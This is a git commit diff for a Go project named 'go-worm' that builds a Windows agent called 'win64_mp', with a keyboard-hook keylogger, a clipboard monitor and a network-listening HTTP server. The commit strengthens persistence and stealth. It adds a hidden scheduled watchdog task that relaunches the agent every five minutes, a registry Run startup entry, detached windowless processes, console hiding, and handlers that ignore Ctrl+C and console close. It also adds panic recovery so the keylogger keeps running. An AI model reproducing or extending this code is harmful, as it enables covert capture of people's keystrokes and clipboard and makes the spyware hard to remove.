fix(startup): make watchdog task keep agent alive

- Use Task Scheduler XML instead of /TR
- Run -ensure agent in-process, not child
- Add console close and panic protection
- Guard nil event channels after stop
- Add non-Windows stubs for startup/mutex

lib/agent/agent.go

@@ -21,17 +21,19 @@ import (
 )
 
 type Agent struct {
-	addr      string
-	root      string
-	guard     *instance.Guard
-	server    *http.Server
-	startedAt time.Time
+	addr            string
+	root            string
+	guard           *instance.Guard
+	server          *http.Server
+	startedAt       time.Time
+	stopOnInterrupt bool
 }
 
 // Config controls agent startup. Zero values use environment defaults.
 type Config struct {
-	ListenAddr string
-	Parallel   bool
+	ListenAddr      string
+	Parallel        bool
+	StopOnInterrupt bool
 }
 
 func New(cfg Config) (*Agent, error) {
@@ -40,8 +42,9 @@ func New(cfg Config) (*Agent, error) {
 		addr = config.EnvOr("AGENT_ADDR", config.DefaultAddr)
 	}
 	a := &Agent{
-		addr:      addr,
-		startedAt: time.Now(),
+		addr:            addr,
+		startedAt:       time.Now(),
+		stopOnInterrupt: cfg.StopOnInterrupt,
 	}
 	if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" {
 		resolved, err := files.CanonicalExistingPath(root)
@@ -116,14 +119,16 @@ func (a *Agent) Serve() error {
 
 	helpers.Log.Printf("win64_mp %s listening on http://%s", config.Version, a.addr)
 
-	ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
-	defer stop()
-	helpers.Go("shutdown", func() {
-		<-ctx.Done()
-		shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
-		defer cancel()
-		_ = a.server.Shutdown(shutdownCtx)
-	})
+	if a.stopOnInterrupt {
+		ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
+		defer stop()
+		helpers.Go("shutdown", func() {
+			<-ctx.Done()
+			shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+			defer cancel()
+			_ = a.server.Shutdown(shutdownCtx)
+		})
+	}
 
 	if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) {
 		return fmt.Errorf("serve: %w", err)

lib/clipmon/clipmon.go

@@ -98,8 +98,12 @@ func Stop() {
 
 func emit(event Event) {
 	event.Time = time.Now()
+	ch := events
+	if ch == nil {
+		return
+	}
 	select {
-	case events <- event:
+	case ch <- event:
 	default:
 		// ponytail: drop when full
 	}

lib/install/install.go

@@ -30,6 +30,7 @@ func Ensure() error {
 		return err
 	}
 	if samePath(current, target) {
+		_ = syncStartup()
 		return nil
 	}
 

lib/instance/args.go

@@ -0,0 +1,21 @@
+package instance
+
+import "strings"
+
+func filterArgs(args []string) []string {
+	out := make([]string, 0, len(args))
+	for _, arg := range args {
+		name := strings.TrimLeft(arg, "-/")
+		lower := strings.ToLower(name)
+		switch {
+		case lower == "background" || strings.HasPrefix(lower, "background="):
+			continue
+		case lower == "foreground" || strings.HasPrefix(lower, "foreground="):
+			continue
+		case lower == "ensure" || strings.HasPrefix(lower, "ensure="):
+			continue
+		}
+		out = append(out, arg)
+	}
+	return out
+}

lib/instance/args_test.go

@@ -0,0 +1,15 @@
+package instance
+
+import (
+	"reflect"
+	"testing"
+)
+
+func TestFilterArgsDropsLauncherFlags(t *testing.T) {
+	t.Parallel()
+	got := filterArgs([]string{"-ensure", "-background", "-foreground", "-addr", "0.0.0.0:5033"})
+	want := []string{"-addr", "0.0.0.0:5033"}
+	if !reflect.DeepEqual(got, want) {
+		t.Fatalf("filterArgs() = %#v, want %#v", got, want)
+	}
+}

lib/instance/console_stub.go

@@ -3,3 +3,7 @@
 package instance
 
 func HideConsole() {}
+
+func ShowConsole() {}
+
+func ProtectFromConsoleClose() {}

lib/instance/console_windows.go

@@ -8,17 +8,27 @@ import (
 )
 
 var (
-	kernel32        = syscall.NewLazyDLL("kernel32.dll")
-	procFreeConsole = kernel32.NewProc("FreeConsole")
-	user32          = syscall.NewLazyDLL("user32.dll")
-	procShowWindow  = user32.NewProc("ShowWindow")
+	kernel32             = syscall.NewLazyDLL("kernel32.dll")
+	procFreeConsole      = kernel32.NewProc("FreeConsole")
+	procGetConsoleWindow = kernel32.NewProc("GetConsoleWindow")
+	procSetConsoleCtrl   = kernel32.NewProc("SetConsoleCtrlHandler")
+	procAllocConsole     = kernel32.NewProc("AllocConsole")
+	procGetStdHandle     = kernel32.NewProc("GetStdHandle")
+	user32               = syscall.NewLazyDLL("user32.dll")
+	procShowWindow       = user32.NewProc("ShowWindow")
+	consoleCtrlCallback  uintptr
 )
 
-const swHide = 0
+const (
+	swHide         = 0
+	ctrlCEvent     = 0
+	ctrlBreakEvent = 1
+	ctrlCloseEvent = 2
+)
 
 // HideConsole hides any console window and detaches from it.
 func HideConsole() {
-	hwnd, _, _ := kernel32.NewProc("GetConsoleWindow").Call()
+	hwnd, _, _ := procGetConsoleWindow.Call()
 	if hwnd != 0 {
 		_, _, _ = procShowWindow.Call(hwnd, swHide)
 	}
@@ -26,6 +36,35 @@ func HideConsole() {
 	redirectStdioToNul()
 }
 
+// ShowConsole allocates a console for -foreground when built as a GUI binary.
+func ShowConsole() {
+	_, _, _ = procAllocConsole.Call()
+	hin, _, _ := procGetStdHandle.Call(^uintptr(9))   // STD_INPUT_HANDLE
+	hout, _, _ := procGetStdHandle.Call(^uintptr(10)) // STD_OUTPUT_HANDLE
+	herr, _, _ := procGetStdHandle.Call(^uintptr(11)) // STD_ERROR_HANDLE
+	os.Stdin = os.NewFile(hin, "stdin")
+	os.Stdout = os.NewFile(hout, "stdout")
+	os.Stderr = os.NewFile(herr, "stderr")
+}
+
+// ProtectFromConsoleClose ignores Ctrl+C/Break/close so Task Scheduler and
+// explorer do not kill the process when the flashed console goes away.
+func ProtectFromConsoleClose() {
+	if consoleCtrlCallback == 0 {
+		consoleCtrlCallback = syscall.NewCallback(consoleCtrlHandler)
+	}
+	_, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1)
+}
+
+func consoleCtrlHandler(ctrlType uintptr) uintptr {
+	switch uint32(ctrlType) {
+	case ctrlCEvent, ctrlBreakEvent, ctrlCloseEvent:
+		return 1
+	default:
+		return 0
+	}
+}
+
 func redirectStdioToNul() {
 	nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
 	if err != nil {

lib/instance/detach.go

@@ -1,7 +1,6 @@
 package instance
 
 import (
-	"fmt"
 	"os"
 
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
@@ -9,7 +8,7 @@ import (
 
 func Detach() error {
 	if AlreadyRunning() {
-		return fmt.Errorf("agent already running")
+		return nil
 	}
 	exe, err := config.InstalledExe()
 	if err != nil {

lib/instance/ensure.go

@@ -1,9 +1,18 @@
 package instance
 
-// EnsureRunning starts a detached agent if none is holding the mutex.
+import (
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+// EnsureRunning starts this host's agent if none is holding the mutex.
+// Callers that can stay resident should run the agent in-process instead.
 func EnsureRunning() error {
 	if AlreadyRunning() {
 		return nil
 	}
-	return Detach()
+	exe, err := config.InstalledExe()
+	if err != nil {
+		return err
+	}
+	return Launch(exe, nil)
 }

lib/instance/launch_windows.go

@@ -5,15 +5,13 @@ package instance
 import (
 	"os"
 	"os/exec"
-	"strings"
 	"syscall"
 
 	"golang.org/x/sys/windows"
-
-	"tea.chunkbyte.com/kato/go-worm/lib/config"
 )
 
-// Launch starts exe detached with no visible window or console IO.
+// Launch starts exe detached with no visible window. DETACHED_PROCESS keeps
+// the child alive after the parent (e.g. a scheduled task) exits.
 func Launch(exe string, args []string) error {
 	nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
 	if err != nil {
@@ -26,33 +24,22 @@ func Launch(exe string, args []string) error {
 	cmd.Stdout = nul
 	cmd.Stderr = nul
 	cmd.SysProcAttr = &syscall.SysProcAttr{
-		HideWindow:    true,
-		CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
+		HideWindow: true,
+		CreationFlags: windows.CREATE_NO_WINDOW |
+			windows.CREATE_NEW_PROCESS_GROUP |
+			windows.DETACHED_PROCESS,
 	}
-	return cmd.Start()
+	if err := cmd.Start(); err != nil {
+		return err
+	}
+	return cmd.Process.Release()
 }
 
 // RestartSelf launches a fresh agent process (no mutex check).
 func RestartSelf() error {
-	exe, err := config.InstalledExe()
+	exe, err := os.Executable()
 	if err != nil {
 		return err
 	}
 	return Launch(exe, nil)
 }
-
-func filterArgs(args []string) []string {
-	out := make([]string, 0, len(args))
-	for _, arg := range args {
-		name := strings.TrimLeft(arg, "-/")
-		lower := strings.ToLower(name)
-		switch {
-		case lower == "background" || strings.HasPrefix(lower, "background="):
-			continue
-		case lower == "foreground" || strings.HasPrefix(lower, "foreground="):
-			continue
-		}
-		out = append(out, arg)
-	}
-	return out
-}

lib/instance/mutex.go

@@ -1,3 +1,5 @@
+//go:build windows
+
 package instance
 
 import (

lib/instance/mutex_stub.go

@@ -0,0 +1,13 @@
+//go:build !windows
+
+package instance
+
+type Guard struct{}
+
+func Acquire() (*Guard, error) {
+	return &Guard{}, nil
+}
+
+func AlreadyRunning() bool { return false }
+
+func (g *Guard) Close() {}

lib/keylog/hook_windows.go

@@ -146,28 +146,41 @@ func runHookThread(ready chan struct{}) error {
 
 func keyboardHookProc(code int, wParam, lParam uintptr) uintptr {
 	if code >= 0 {
-		kb := (*kbdLLHookStruct)(unsafe.Pointer(lParam))
-		switch wParam {
-		case wmKeydown, wmSyskeydown:
-			if isModifierVK(kb.VkCode) {
-				hookMods.update(kb.VkCode, true)
-			} else if event, ok := decodeKeyEvent(kb, wParam == wmSyskeydown); ok {
-				select {
-				case hookEvents <- event:
-				default:
-					// ponytail: drop when full; upgrade path is larger buffer
-				}
-			}
-		case wmKeyup, wmSyskeyup:
-			if isModifierVK(kb.VkCode) {
-				hookMods.update(kb.VkCode, false)
-			}
-		}
+		handleHookEvent(wParam, lParam)
 	}
 	ret, _, _ := procCallNextHookEx.Call(0, uintptr(code), wParam, lParam)
 	return ret
 }
 
+func handleHookEvent(wParam, lParam uintptr) {
+	defer helpers.RecoverLog("keylog-callback")
+	kb := (*kbdLLHookStruct)(unsafe.Pointer(lParam))
+	switch wParam {
+	case wmKeydown, wmSyskeydown:
+		if isModifierVK(kb.VkCode) {
+			hookMods.update(kb.VkCode, true)
+		} else if event, ok := decodeKeyEvent(kb, wParam == wmSyskeydown); ok {
+			enqueueKey(event)
+		}
+	case wmKeyup, wmSyskeyup:
+		if isModifierVK(kb.VkCode) {
+			hookMods.update(kb.VkCode, false)
+		}
+	}
+}
+
+func enqueueKey(event Event) {
+	ch := hookEvents
+	if ch == nil {
+		return
+	}
+	select {
+	case ch <- event:
+	default:
+		// ponytail: drop when full; upgrade path is larger buffer
+	}
+}
+
 func decodeKeyEvent(kb *kbdLLHookStruct, sysKey bool) (Event, bool) {
 	injected := kb.Flags&llkhfInjected != 0
 	if injected && kb.VkCode == 0 && kb.ScanCode >= 32 && kb.ScanCode != 127 {

lib/startup/startup.go

@@ -1,3 +1,5 @@
+//go:build windows
+
 package startup
 
 import (
@@ -67,5 +69,6 @@ func installedCommandLine() (string, error) {
 	if err != nil {
 		return "", err
 	}
-	return `"` + exe + `" -background`, nil
+	// Registry Run requires quotes around a path that may contain spaces.
+	return `"` + exe + `"`, nil
 }

lib/startup/stub.go

@@ -0,0 +1,11 @@
+//go:build !windows
+
+package startup
+
+func Enabled() bool { return false }
+
+func Enable() error { return nil }
+
+func Disable() error { return nil }
+
+func SyncInstalledPath() error { return nil }

lib/startup/taskxml.go

@@ -0,0 +1,70 @@
+package startup
+
+import (
+	"encoding/xml"
+	"strings"
+)
+
+const watchdogArg = "-ensure"
+
+// watchdogTaskXML builds a Task Scheduler 2.0 XML action with Command and
+// Arguments as separate fields. Paths must not be wrapped in extra quotes —
+// schtasks /TR quoting is what made the watchdog flash and exit.
+func watchdogTaskXML(exe string) string {
+	exe = strings.Trim(exe, `"`)
+	var b strings.Builder
+	b.WriteString(`<?xml version="1.0" encoding="UTF-16"?>`)
+	b.WriteByte('\n')
+	b.WriteString(`<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">`)
+	b.WriteString(`<RegistrationInfo><Description>win64_mp watchdog</Description></RegistrationInfo>`)
+	b.WriteString(`<Triggers><TimeTrigger>`)
+	b.WriteString(`<Repetition><Interval>PT5M</Interval><StopAtDurationEnd>false</StopAtDurationEnd></Repetition>`)
+	b.WriteString(`<StartBoundary>2000-01-01T00:00:00</StartBoundary>`)
+	b.WriteString(`<Enabled>true</Enabled>`)
+	b.WriteString(`</TimeTrigger></Triggers>`)
+	b.WriteString(`<Principals><Principal id="Author">`)
+	b.WriteString(`<LogonType>InteractiveToken</LogonType>`)
+	b.WriteString(`<RunLevel>LeastPrivilege</RunLevel>`)
+	b.WriteString(`</Principal></Principals>`)
+	b.WriteString(`<Settings>`)
+	b.WriteString(`<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>`)
+	b.WriteString(`<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>`)
+	b.WriteString(`<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>`)
+	b.WriteString(`<Hidden>true</Hidden>`)
+	b.WriteString(`<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>`)
+	b.WriteString(`<AllowStartOnDemand>true</AllowStartOnDemand>`)
+	b.WriteString(`<Enabled>true</Enabled>`)
+	b.WriteString(`<StartWhenAvailable>true</StartWhenAvailable>`)
+	b.WriteString(`<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>`)
+	b.WriteString(`<Priority>7</Priority>`)
+	b.WriteString(`</Settings>`)
+	b.WriteString(`<Actions Context="Author"><Exec>`)
+	b.WriteString(`<Command>`)
+	b.WriteString(xmlEscape(exe))
+	b.WriteString(`</Command>`)
+	b.WriteString(`<Arguments>`)
+	b.WriteString(watchdogArg)
+	b.WriteString(`</Arguments>`)
+	if dir := winDir(exe); dir != "" {
+		b.WriteString(`<WorkingDirectory>`)
+		b.WriteString(xmlEscape(dir))
+		b.WriteString(`</WorkingDirectory>`)
+	}
+	b.WriteString(`</Exec></Actions></Task>`)
+	return b.String()
+}
+
+func xmlEscape(s string) string {
+	var b strings.Builder
+	_ = xml.EscapeText(&b, []byte(s))
+	return b.String()
+}
+
+func winDir(p string) string {
+	p = strings.TrimRight(p, `/\`)
+	i := strings.LastIndexAny(p, `/\`)
+	if i <= 0 {
+		return ""
+	}
+	return p[:i]
+}

lib/startup/taskxml_test.go

@@ -0,0 +1,48 @@
+package startup
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestWatchdogTaskXMLSeparatesCommandAndArgs(t *testing.T) {
+	t.Parallel()
+	exe := `C:\Users\John Doe\AppData\Roaming\win64_mp\win64_mp.exe`
+	xml := watchdogTaskXML(exe)
+
+	if strings.Contains(xml, `"`+exe+`"`) || strings.Contains(xml, `\"`) {
+		t.Fatalf("task XML must not quote the executable (schtasks /TR quoting broke launch):\n%s", xml)
+	}
+	if !strings.Contains(xml, "<Command>"+exe+"</Command>") {
+		t.Fatalf("Command missing raw path:\n%s", xml)
+	}
+	if !strings.Contains(xml, "<Arguments>-ensure</Arguments>") {
+		t.Fatalf("Arguments missing -ensure:\n%s", xml)
+	}
+	if !strings.Contains(xml, "<WorkingDirectory>C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp</WorkingDirectory>") {
+		t.Fatalf("WorkingDirectory missing:\n%s", xml)
+	}
+	if !strings.Contains(xml, "<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>") {
+		t.Fatalf("execution time limit must be unlimited so -ensure can stay as the agent")
+	}
+}
+
+func TestWatchdogTaskXMLEscapesAmpersand(t *testing.T) {
+	t.Parallel()
+	exe := `C:\Users\A&B\win64_mp.exe`
+	xml := watchdogTaskXML(exe)
+	if !strings.Contains(xml, `C:\Users\A&amp;B\win64_mp.exe`) {
+		t.Fatalf("expected escaped ampersand:\n%s", xml)
+	}
+}
+
+func TestWatchdogTaskXMLStripsCallerQuotes(t *testing.T) {
+	t.Parallel()
+	xml := watchdogTaskXML(`"C:\win64_mp.exe"`)
+	if strings.Contains(xml, `"C:\win64_mp.exe"`) {
+		t.Fatalf("left quotes in XML:\n%s", xml)
+	}
+	if !strings.Contains(xml, "<Command>C:\\win64_mp.exe</Command>") {
+		t.Fatalf("Command not unquoted:\n%s", xml)
+	}
+}

lib/startup/watchdog.go

@@ -1,10 +1,14 @@
+//go:build windows
+
 package startup
 
 import (
 	"fmt"
+	"os"
 	"os/exec"
 	"strings"
 	"syscall"
+	"unicode/utf16"
 
 	"golang.org/x/sys/windows"
 
@@ -16,8 +20,19 @@ func enableWatchdog() error {
 	if err != nil {
 		return err
 	}
-	tr := fmt.Sprintf(`"%s" -ensure`, exe)
-	return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/SC", "MINUTE", "/MO", "5", "/TR", tr, "/F")
+	tmp, err := os.CreateTemp("", "win64_mp-task-*.xml")
+	if err != nil {
+		return err
+	}
+	path := tmp.Name()
+	defer os.Remove(path)
+	if err := tmp.Close(); err != nil {
+		return err
+	}
+	if err := os.WriteFile(path, utf16LE(watchdogTaskXML(exe)), 0o600); err != nil {
+		return err
+	}
+	return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/XML", path, "/F")
 }
 
 func disableWatchdog() error {
@@ -41,3 +56,13 @@ func runSchtasks(args ...string) error {
 	}
 	return nil
 }
+
+func utf16LE(s string) []byte {
+	u := utf16.Encode([]rune(s))
+	out := make([]byte, 0, 2+len(u)*2)
+	out = append(out, 0xFF, 0xFE)
+	for _, r := range u {
+		out = append(out, byte(r), byte(r>>8))
+	}
+	return out
+}